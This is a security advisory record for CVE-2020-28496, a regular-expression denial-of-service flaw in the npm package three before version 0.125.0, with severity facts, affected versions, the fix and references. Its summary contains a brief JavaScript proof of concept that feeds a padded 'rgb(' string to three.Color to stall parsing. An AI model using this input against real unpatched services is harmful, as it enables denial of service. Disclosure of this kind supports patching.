Regular expression denial of service (ReDoS) in three
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · CNA. Fix status from CNA and GitHub. Impact type from CWE-400.
Summary
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | three | before 0.125.0 | 0.125.0 | Patch available | CNA |
| — | three (npm) | before 0.125.0 | 0.125.0 | Patch available | GHSA-fq6p-x6j3-cmmq |
- three Vendor— Affected before 0.125.0 Fixed in 0.125.0 Patch available CNA
- three (npm) Vendor— Affected before 0.125.0 Fixed in 0.125.0 Patch available GHSA-fq6p-x6j3-cmmq
CPE configurations NVD · 1
| CPE | Versions | Role | Vendor |
|---|---|---|---|
| cpe:2.3:a:three_project:three:*:*:*:*:*:node.js:*:* | before 0.125.0 | Vulnerable | Three Project |
- cpe:2.3:a:three_project:three:*:*:*:*:*:node.js:*:* Versions before 0.125.0 Vulnerable ·Three Project
Remediation
- Fix · CNA three Fixed in 0.125.0
- Fix · GHSA-fq6p-x6j3-cmmq three (npm) Fixed in 0.125.0 Advisory →
Timeline
- 2026-10-02 Threatist record created from CVE-2020-28496
- 2026-10-03 Alias added: GHSA-fq6p-x6j3-cmmq
References
Sources
- CVE-2020-28496 · CVE Program
- CVE-2020-28496 · NVD
- FIRST EPSS
- GHSA-fq6p-x6j3-cmmq · GitHub Advisory Database · CC BY 4.0
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences